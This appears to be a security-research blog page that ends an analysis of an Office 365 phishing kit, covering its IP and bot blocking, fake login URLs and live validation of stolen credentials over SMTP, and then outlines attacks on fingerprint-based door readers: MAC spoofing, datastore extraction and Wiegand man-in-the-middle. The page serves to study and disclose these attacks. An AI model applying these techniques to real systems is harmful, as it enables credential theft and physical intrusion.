It also has a list of banned IP addresses, ranges from Google, Cogent, Digital Ocean, ISC, EQNET, INSC, Amazon, Softlayer, EIG, NTT America, MX Logic, British Telecom, Nianet, Elisa, GigeNET, University Of Minnesota(?), NetVision, NET1 Plus, Unified Webhosting, MULTACOM, China Unicom, Dassault Systèmes, Hurricane Electric, CoreSpace, SITA, Orange S.A, Cyber Wurx, CYBERCON, Zayo Bandwidth, Savvis, QTS, Kasetsart University in Thailand(?), Chungnam National University in South Korea(?), RCC, USAA, Comverse, Omnico Hosting, AT&T, Marlink, Airstream, The Department of Defense Network Information Center, and DataPipe. Whew, that was a long list. 

The major group of IP ranges are hosting providers that have a large amount of traffic for VPN/Proxy services. It would make sense that the Phisher’s target audience falls outside of hosting companies, it falls to individual users and companies. The second interesting group of IPs are for a few Universities, none in the list make any sense though. Only one of them has a recognized Cybersecurity course. It appears that MXLogic is also on the list, probably to avoid enterprise email filtering detection for companies that use it. I also found it a little interesting that they blocked the DoD as well.

The last bit of code simply checks if the useragent falls under msnbot, google bot, yahoo bot, etc. They also have a robots.txt that does the same thing.

Once it has checked the incoming request, the index.php file sets the header (URL) to something along the lines of  `login.php?websrc=<random numbers>&dispatched=<random numbers>&id=<random numbers>&email=<compromised email>`. It’s interesting that the phishing author attempted to make the URL look more legitimate and lengthy, as many official emails are.
 
![](2018/10/image-11.jpg)

Once it goes to the Login.php page, it loads the two images and two text boxes that are supposed to look like, and auto fills the email address, to make it look more “authentic”.

On the form submit, it hits `logon.php` (not login). Here’s where something interesting happens. The first thing the script does, is gets the visitors country from geoplugin.net. The second thing it does, is craft a basic email and loads in the submitted username, password, ip, browser, date, and geoip lookup. It then sets the TO: field of this email to ipconfigura@gmail.com, the subject to `“Office365 | <country> | <username>”`  and lastly sets the FROM: field to `“John De Fisher <new@cpanel.com>”`.

![](2018/10/image-12.jpg)

After it crafts this email, it then runs a function called `check()` from inside a PHPMailer directory from the script `smtp.php`, and passes the submitted username and password. Let’s look at this script then.

![](2018/10/image-13.jpg)

This `check()` function is incredibly clever. It connects to the office365 SMTP server, authenticates with the server using the submitted credentials, sets the FROM field to the email `hbergamini@truehomesusa.com`. This is interesting, `truehomesusa.com` doesn’t seem to be flagged and is a legitimate website, they even run on office 365. I take an educated guess and figure that this domain has not fully set up the correct MX records to protect their domain from email spoofing, allowing this test email to not be noticed by most people and not appear in anybody’s inbox. Clever. It then checks to see if the email sent. If it could send, it means that the submitted credentials successfully authenticated with Microsoft and are correct. 

This is something I don’t see that often. It’s commonplace for campaigns to accept and send off any credentials it gets, but this one is checking the validity of the credentials. It also allows the phishing author to provide a “Password not recognized” message, to skeptical users who input a wrong password the first time to see if it works or not.
 
![](2018/10/image-14.jpg)

Aaand that's the analysis of this phishing campaign.


Phishing/Scam campaign research


### Fingerprint readers are silly

DISCLAIMER: I used to work for a physical security company architecting access control and surveillance solutions. 

One job I was tasked with was getting a fingerprint-based reader tested and operational for demoing our new level of hardware support for more secure facilities, 2 factor physical access control; something you are (fingerprint) and something you know or have. (pin/card)

We were given these readers to test. The readers had a TON of wiring on the back of them. The two important things that the reader pinouts contained was

1. Weigand 2-pair access control wire
2. POE-enabled RJ45 port   

The way that these readers work with existing access control systems **completely invalidates** the security benefits of using a fingerprint-based authentication system. Let me explain the architecture and design of this system.

First, you must enrol fingerprints on the reader. You essentially scan a fingerprint a handful of times, give it a name, and assign it a badge. Wait, a badge? Yes. The reader contains a **local** database of every fingerprint in it's system, as well as a **card **associated to this fingerprint. When a fingerprint authenticates and is validated to the local database on the reader, the reader takes the card associated with that fingerprint and relays it over Wiegand wiring to an access control box. This reader is essentially functioning the exact same as a normal fingerprint-less card reader.

![](2018/10/Untitled-Diagram.png "Finger is read, authenticated against a print DB, then the card associated is passed over to the access control system")

The fingerprint reader on the back end/access control provides the exact same level of authentication as a standard card-based system. If the reader is configured to pass through card reads (passthrough mode for 2nd factor, or for card or fingerprint setups) the fingerprints are **completely useless**.

---

# Potential attack 1: network permeter comprimise

This edge device has an ethernet port. 

Which means it has an ethernet cable, which is going to have to tie into an internal access control network to allow it to talk to the provisioning server. Most people put their ICS on the same network. Cameras, access controls, gate controls, HVAC, etc. From the exterior of the building, you now have hardline access to an internal control network. 

If this network has any kind of network security (for instance, MAC address filtering), you can pull the MAC of the fingerprint reader directly from a sticker located next to the ethernet port. Spoof that MAC and you have access.

---

# Potential attack 2: device fingerprint datastore compromise

The database containing **fingerprint** data is stored non-centrally, and every reader has a copy. The enrolment process is

1. Scan fingerprint on central server
2. Associate card, name, etc to fingerprint
3. Push new user profile to all readers on the network
4. Reader receives profile, adds it to internal datastore

If you compromise the edge device (reader), you can potentially access this database through their control software, or directly through chip-off forensics. This datastore is going to not just contain fingerprint data, of which I would consider **incredibly valuable and sensitive information**, it would also contain all associated cards for every user profile. 

Unless a mass card revocation is initiated, you now also have a datastore of every functioning, authenticating, door-opening card in the system. Additionally, you may have full names, positions, teams, pictures, etc for every user.

---

# Potential attack 3: Weigand man-in-the-middle

This isn't specifically a fingerprint reader specific attack, but it is just as effective. You can purchase a device that clamps onto the Weigand data wires and can Man-in-the-middle cards over the wire. With this, you can 

- offload all cards as they get sent to the access control system
- in-line replace/denial of service on all/selected cards (lock someone out of the building)
- Replay a functioning card without having to have a card cloner/spoofer

Devices like the [ESPKey](https://redteamtools.com/espkey) are cheap ($99) and usable with bluetooth or wifi.

![](2018/10/ugdTOpe.jpg "ESPKey in-line man-in-the-middle")


801 Labs Research Portal

research

Quirks in the Windows IPv6 address parsing and printing APIs

Exploiting a Stack Buffer Overflow (ret2libc method)

Phishing/Scam campaign research (ep. 2)

ASCII art in hidden places

Phishing/Scam campaign research

Access-control exploitation (part 1)